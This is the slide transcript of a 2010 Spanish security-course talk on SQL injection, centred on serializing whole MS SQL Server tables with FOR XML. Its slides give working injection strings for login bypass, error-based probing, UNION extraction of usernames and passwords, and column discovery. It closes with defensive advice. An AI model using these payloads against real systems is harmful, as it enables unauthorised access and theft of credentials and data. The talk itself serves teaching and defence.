(in) seguridad web
DESCRIPTION
Charla de Daniel Kachackil impartida durante le III Curso de verano de Seguridad Informatica de la UEM en Valencia.TRANSCRIPT
SFX-SQLiSELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION
Extracción rápida de información utilizando inyección SQL con instrucciones XML
Daniel KachakilIII Curso de Verano de Seguridad Informática (UEM)
06/07/2010 – Valencia
Contenido
¿Qué es la inyección SQL?
Técnicas de inyección SQL clásicas
Serialización y la cláusula FOR XML
Obtención de columnas y tipos
Ajuste de la inyección
Ejemplos y demos
2
SQL injection
¿Qué es la inyección SQL?
Vulnerabilidad de aplicaciones informáticas
Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD
Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos
4
¿Qué es la inyección SQL?
5
Pero no es exclusiva de aplicaciones web
Ataques a la seguridad
Integridad: Borrado o corrupción de datos
UPDATE, DELETE, INSERT, DROP, ...
Disponibilidad: Denegación de servicio
SHUTDOWN, consultas complejas, exploits, ...
Confidencialidad: Acceso a datos privados
Bypass de autenticación (' or '1'='1)
A ciegas (Blind SQL injection)
A través de mensajes de error
Anexando otros conjuntos de datos
6
Inyección SQL básica
"SELECT * FROM Usuarios WHERE
nombre='" + usuario + "' AND pass='"
+ contraseña + "'"
Usuario:
Contraseña:
' or '1'='1
' or '1'='1
7
Inyección SQL básica
"SELECT * FROM Usuarios WHERE
nombre='' or '1'='1' AND
pass='' or '1'='1'"
La condición WHERE siempre es cierta
Devuelve toda la tabla de usuarios
El primer registro suele coincidir con el del administrador
Usuarios
nombre pass esAdmin
admin P4$$_C0mPlej0! Sí
usuario1 password1 No
usuario2 password2 No
8
Inyección SQL a ciegas
Booleanización: más eficiente con búsqueda binaria
EXISTS (SELECT … WHERE n < 128) V
EXISTS (SELECT … WHERE n < 64) V
EXISTS (SELECT … WHERE n < 32) F
EXISTS (SELECT … WHERE n < 48) V
EXISTS (SELECT … WHERE n < 40) F
EXISTS (SELECT … WHERE n < 44) F
EXISTS (SELECT … WHERE n < 46) F
EXISTS (SELECT … WHERE n < 47) V
Conclusión: n=46
9
Ejemplo: Absinthe
10
Inyección SQL basada en errores
"SELECT * FROM Acceso WHERE
usuario='' having 1=1--' AND
pass='x'"
11
Inyección SQL basada en errores
"SELECT * FROM Acceso WHERE
usuario='' AND convert(int,
system_user)>0--' AND pass='x'"
12
Inyección SQL anexando datos
"SELECT id, asunto, fecha FROM Notas
WHERE year(fecha)=2010 UNION SELECT
0, login+'/'+pass, null FROM Users"
13
Notas
id asunto fecha
1 Día festivo (año nuevo) 01-01-2010
2 Empiezan las rebajas 07-01-2010
... ... ...
0 admin/P4$$w0rd! NULL
0 user1/password1 NULL
La cláusula FOR XML
FOR XML (MS SQL Server 2005/2008)
"SELECT * FROM Numeros"
"SELECT * FROM Numeros FOR XML RAW"
15
Numero Nombre
1 Uno
2 Dos
3 Tres
4 Cuatro
XML_F52E2B61-18A1-11d1-B105-00805F49916B
<row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
Anexando una tabla en un campo
"SELECT asunto FROM Notas WHERE id=1
AND 1=0 UNION SELECT(SELECT * FROM
Users FOR XML RAW)"
16
asunto
Día festivo (año nuevo)
<row login="admin" pass="P4$$w0rd!" /><row login="user1" pass="password1" />
Sintaxis de FOR XML
FOR XML { { RAW [ ( 'ElementName' ) ] | AUTO } [
<CommonDirectives> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] [ , ELEMENTS [ XSINIL | ABSENT ]
] | EXPLICIT … | PATH …}
<CommonDirectives> ::= [ , BINARY BASE64 ][ , TYPE ][ , ROOT [ ( 'RootName' ) ] ]
17
Obtención del númerode columnas
GROUP BY / HAVING 1=1
HAVING 1=1
Error (cuyo texto revela el nombre de la primera columna)
GROUP BY columna1 HAVING 1=1
Error con el nombre de la segunda columna
GROUP BY columna1, columna2 HAVING 1=1
Error con el nombre de la tercera columna
...
GROUP BY columna1, columna2, columna3, … , columnaN HAVING 1=1
Sin errores
19
ORDER BY N
ORDER BY 1
Sin errores
ORDER BY 2
Sin errores
...
ORDER BY N
Sin errores
ORDER BY N+1
Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary)
20
UNION NULL
UNION SELECT null WHERE 0=1
Falla
UNION SELECT null, null WHERE 0=1
Falla
UNION SELECT null, null, null WHERE 0=1
Falla
...
UNION SELECT null, null, null, null, … , null WHERE 0=1
Sin errores
21
Obtención del tipode datos
Obtención del tipo de datos
Basta con encontrar una columna de tipo texto
char, varchar, nvarchar, ...
Si muestra errores:
CAST(), CONVERT()
En otro caso:
UNION SELECT null, null, 'a', null, null, ... [WHERE 1=0]
23
Juntando las piezas
Extracción serializando datos
… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN
25
Notas
id asunto fecha
null<row login="admin" pass="P4$$w0rd!" />
<row login="user1" pass="password1" />null
Segmentación de datos
Cuándo es necesario segmentar
La técnica podría fallar por timeouts en tablas con muchos datos (registros, BLOBs, etc.)
Timeout en la transmisión de datos (por ejemplo, en IIS)
Timeout al ejecutar la consulta (en SQL Server)
Solución clásica: "divide y vencerás"
Aplicar la técnica en subconjuntos menores
Combinar todos los resultados
27
Timeout en la transmisión de datos
Convertir el XML en una cadena de texto y trocearla
SUBSTRING (texto, desde, longitud)
Muy fácil de implementar
Requiere que la consulta se ejecute por completo
"SELECT SUBSTRING(CONVERT(
nvarchar(MAX), (SELECT * FROM Numeros
FOR XML RAW)), 1, 25)"
28
<row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
Timeout al ejecutar la consulta
Numerar las filas y seleccionar un subconjunto
ROW_NUMBER() OVER (ORDER BY columna)
En SQL Server no hay cláusula LIMIT (presente en MySQL)
Requiere saber el nombre de una columna (no acepta índices)
"SELECT * FROM (SELECT ROW_NUMBER()
OVER (ORDER BY Numero) As N, * FROM
Numeros) As T WHERE N>=1 AND N<4"
29
<row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
SFX-SQLi Tool
SFX-SQLi Tool 1.0
Capaz de extraer tablas completas con una sola petición
Inyecciones GET y POST. SSL, cookies, proxy, etc.
Si las tablas son muy grandes, las puede segmentar
Implementa todas las técnicas descritas antes
Ayuda al descubrimiento de columnas y tipos
Deshace la codificación HTML automáticamente
Log de todo lo que inyecta y de las respuestas
Visualización en explorador integrado y código fuente
31
Novedades en SFX-SQLi Tool 1.1
Acceso completo a otras bases de datos del mismo servidor a través de la master
Ejecución de consultas personalizadas
Ajustes de configuración avanzada
Pequeñas mejoras y correcciones
32
Medidas de protección
Medidas de protección
Las de siempre: filtrar todas las entradas al gestor de bases de datos
Forzando la conversión de tipos para entradas numéricas
Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)
Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc)
34
Medidas de protección
Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando
Consultas SQL parametrizadas, filtros predefinidos, etc.
Aplicar el principio de menor privilegio
Limita las consecuencias ante un ataque exitoso
No dar información detallada sobre los errores
“Contraseña incorrecta para el usuario usuario”
“Error al conectar con la base de datos mibasededatos”
Response.Write(ex.ToString()) en bloques Try - Catch
35
Daniel Kachakil [email protected]
¡Muchas gracias!